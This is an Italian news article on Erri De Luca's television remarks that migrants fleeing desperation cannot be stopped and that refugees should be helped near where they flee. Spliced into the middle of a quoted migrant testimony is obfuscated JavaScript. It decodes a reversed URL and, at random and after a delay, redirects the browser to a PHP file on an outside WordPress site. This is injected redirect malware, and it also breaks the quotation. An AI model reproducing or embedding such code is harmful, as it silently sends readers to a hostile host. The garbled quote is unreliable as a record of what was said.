Erri De Luca: "I profughi vanno aiutati. Impossibile fermarli perché sono disperati"

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«Questi flussi migratori dipendono da profughi, da persone che scappano da una casa in fiamme. Le persone che scappano da una casa in fiamme si buttano nel vuoto, sapendo che si vanno a sfracellare, ma non si fanno bruciare dal fuoco». Ospite di Piazzapulita su La7, lo scrittore Erri De Luca analizza l’ultima tragedia del mare alla luce delle drammatiche testimonianze dei migranti: «Leggevo la frase di uno – prosegue De Luca – che diceva ‘Qu (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}ando siamo arrivati al mare e abbiamo visto su che razza di rottame dovevamo salire abbiamo saputo che non avevamo scampo, non potevamo fare che quello, non potevamo tornare indietro, né restare’». Per questo, spiega lo scrittore, nessun divieto imposto potrà mai fermare i migranti, che si imbarcano sulle carrette del mare, spinte dalla forza della disperazione. La soluzione? Per De Luca deve essere l’accoglienza e l’assistenza dei profughi «nei pressi delle loro fughe» prima che vengano affidati ai «commercianti di carne umana». «Questa è merce che viene pagata in anticipo – spiega De Luca – e non interessa che giunga o meno a destinazione».

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